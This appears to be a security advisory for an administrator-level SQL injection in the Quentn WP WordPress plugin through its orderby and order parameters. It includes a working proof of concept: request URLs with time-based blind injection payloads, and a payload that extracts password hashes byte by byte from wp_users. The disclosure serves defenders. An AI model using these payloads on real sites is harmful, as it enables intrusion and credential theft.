Quentn WP < 1.2.15 – Admin+ SQLi via 'orderby'/'order' Parameter | CVE 2026-84113

Description

The plugin does not properly sanitise and escape a parameter before using it in an SQL query, allowing high privilege users such as administrators to perform SQL injection attacks.

Proof of Concept

Prerequisites:
- An authenticated session for a user with the manage_options capability (a site administrator).
- A page that has a Quentn access restriction with at least one access record. In the admin UI: add an access restriction to a page and add one member email to it, so the restrictions list for that page has a row. Note that page's id as <PAGE_ID>. The ORDER BY clause is only evaluated when at least one row is returned.

1) Blind time-based injection via the orderby parameter. As the logged-in administrator, request:

   /wp-admin/admin.php?page=quentn-page-access-overview&page_id=<PAGE_ID>&orderby=(SELECT%20IF(1%3D1%2CSLEEP(4)%2C0))

   Decoded orderby value: (SELECT IF(1=1,SLEEP(4),0))
   The page returns HTTP 200 in every case; only the response time changes:
   - orderby=email                          -> ~0.03s (baseline)
   - orderby=(SELECT IF(1=1,SLEEP(4),0))     -> ~4.0s  (condition TRUE)
   - orderby=(SELECT IF(1=2,SLEEP(4),0))     -> ~0.04s (condition FALSE)

   The order parameter is injectable the same way, e.g.
   orderby=email&order=ASC%2C(SELECT%20IF(1%3D1%2CSLEEP(4)%2C0))  -> ~4.0s.

2) Blind data extraction (impact proof). Test the first byte of the first user's password hash:

   /wp-admin/admin.php?page=quentn-page-access-overview&page_id=<PAGE_ID>&orderby=(SELECT%20IF((SELECT%20SUBSTRING(user_pass%2C1%2C1)%20FROM%20wp_users%20ORDER%20BY%20ID%20LIMIT%201)%3D0x24%2CSLEEP(4)%2C0))

   Decoded: (SELECT IF((SELECT SUBSTRING(user_pass,1,1) FROM wp_users ORDER BY ID LIMIT 1)=0x24,SLEEP(4),0))
   The response delays ~4s when the tested byte matches (0x24 = "$", the first byte of a WordPress password hash) and returns immediately otherwise, allowing byte-by-byte extraction of wp_users.user_pass and any other value in the database.